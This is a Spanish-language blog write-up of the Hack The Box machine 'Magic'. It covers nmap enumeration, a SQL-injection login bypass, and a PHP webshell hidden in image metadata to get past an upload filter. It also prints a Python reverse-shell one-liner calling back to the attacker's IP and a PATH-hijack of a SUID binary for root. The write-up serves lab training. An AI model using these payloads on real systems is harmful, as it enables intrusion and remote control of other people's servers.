Buenas!
Continuamos con los writeups de máquinas de HacktheBox. En esta ocasión es el turno de Magic, que fue retirada recientemente. Una máquina bastante didáctica para repasar conceptos en el acceso remoto y profundizar en la escalada de privilegios.
El write-up se divide en tres fases:
- Enumeración
- Explotación
- Escalada de privilegios
En primer lugar, para identificar los servicios y puertos abiertos se ejecuta la herramienta nmap:
Nmap scan report for 10.10.10.185
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Acceso remoto por SSH y servidor web. Todo apunta a que el acceso remoto debería estar por el puerto 80.
Parece que se trata de una galería de imágenes. En la parte inferior izquierda se identifica que dispone de un login.
Resulta que el login es vulnerable a SQLi permitiendo bypassearlo (‘or’7’=’7) tal que se accede a la funcionalidad de subida de imágenes:
Una vez identificado a priori el vector de compromiso, se debe analizar si es vulnerable la funcionalidad de subida para subir al servidor una webshell/shell y lograr acceso remoto.
Por defecto, la funcionalidad de subida espera recibir imágenes, por lo tanto, se va a seguir el comportamiento esperado para conocer en qué ruta es subida la imagen:
La imagen es subida aquí:
http://10.10.10.185/images/uploads/mrrobot.jpg
Conservando su nombre. Entonces todas las imágenes son almacenadas en el directorio «uploads» con el nombre original.
Al subir la imagen en otro formato diferente a pelo, el servidor indica que sólo acepta imágenes, es decir, hay validación en el lado del servidor. Modificando las cabecera content-type y filename, devuelve el mismo resultado. Sin embargo, tras jugar con la cabecera filename, se identifica que acepta el formato «.php.jpg»:
Por lo tanto, se recurre a meter el payload en una imagen. Os dejo esta referencia que explican diferentes métodos:
Y ésta que es la que se utilizó en este caso: https://github.com/xapax/security/blob/master/bypass_image_upload.md
Tomando como referencia el código:
GIF89a;
<?
system($_GET[‘cmd’]);//or you can insert your complete shell code
?>
exiftool -Comment='<?php echo «<pre>»; system($_GET[‘cmd’]); ?>’ lo.jpg
Se toma el metadato del GIF y a continuación, se incluye el código de la webshell (en este caso en PHP). Para insertarlo en la imagen, se hace uso de la herramienta exiftool:
Y ahora se sube:
Y accediendo a ella:
It works 😉
A continuación, tomando nuestro código favorito se ejecuta para lograr una shell remota. En este caso, se empleó el siguiente:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«10.10.14.57»,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(«/bin/bash»)’
Esto es:
Y llega la shell al listener que se tenía previamente levantado:
Tras lograr el acceso remoto y siendo el usuario www-data, el objetivo es tratar de escalar privilegios hasta lograr ser root.
Al disponer de un servicio web con registro de usuarios, se accede al www en busca de un fichero de configuración con las credenciales hardcodeadas de la base de datos.
¿Esas credenciales serán las mismas que las locales, es decir, el usuario theseus reutiliza contraseñas? Nooooo
En la evidencia anterior, se identifica que hay un dump.sql. Entonces se busca en Internet como obtener el dump de la BBDD Magic.
Para ello, se hace uso de mysqldump empleando las credenciales del db.php5
Y se observan otras credenciales, que éstas si sirven para loguearse con el usuario theseus.
Una vez se ha logrado escalar privilegios a Theseus, el siguiente paso es escalar a root. En primer lugar, se comprueba si está dentro del grupo de sudoers, pero no está.
A continuación, se comprueban permisos SUID (find / -user root -perm -4000 -print 2>/dev/null):
Que efectivamente está ejecutándose:
Ejecutándolo:
Se encontró este artículo como referencia:
Se cambia el PATH para impersonalizar el fichero que se desea ejecutar:
export PATH=/tmp/n4x:$PATH
export PATH=/tmp/n4x:$PATH
theseus@ubuntu:/tmp/n4x$ ls
ls
lshw
theseus@ubuntu:/tmp/n4x$ chmod +x lshw
Como se observa, se inserta un payload similar al del acceso remoto para lograr la shell como root. Ejecutándolo, llega la ansiada shell:
Es la primera vez que me topo con esta particular manera de escalar privilegios, siempre es bueno encontrarse nuevos vectores 😉
Nos vemos en el próximo post!
Saludos.
N4xh4xk5
La mejor defensa, es un buen ataque
Fuente obtenida de: https://fwhibbit.es/htb-writeup-magic
